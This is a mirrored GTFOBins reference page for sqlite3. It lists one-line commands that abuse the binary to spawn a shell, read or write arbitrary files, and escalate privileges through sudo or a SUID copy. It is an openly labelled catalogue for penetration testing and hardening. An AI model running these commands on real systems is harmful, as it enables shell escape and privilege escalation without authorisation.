This website requires JavaScript.
Explore
Help
Register
Sign In
mirror
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced
2026-01-01 13:11:40 +01:00
Code
Issues
e1cd3aed68
GTFOBins.github.io
/
_gtfobins
/
sqlite3.md
Andrea Cardaci
e1cd3aed68
Fix YAMLs according to YAMLlint
2018-07-16 15:01:50 +02:00
519 B
Raw
Blame
History
functions
execute-interactive
file-write
file-read
sudo-enabled
suid-limited
code
sqlite3 /dev/null '.shell /bin/sh'
code
LFILE=file_to_write sqlite3 /dev/null -cmd ".output $LFILE" 'select "data";'
code
LFILE=file_to_read sqlite3 << EOF CREATE TABLE t(line TEXT); .import $LFILE t SELECT * FROM t; EOF
code
sudo sqlite3 /dev/null '.shell /bin/sh'
code
./sqlite3 /dev/null '.shell /bin/sh'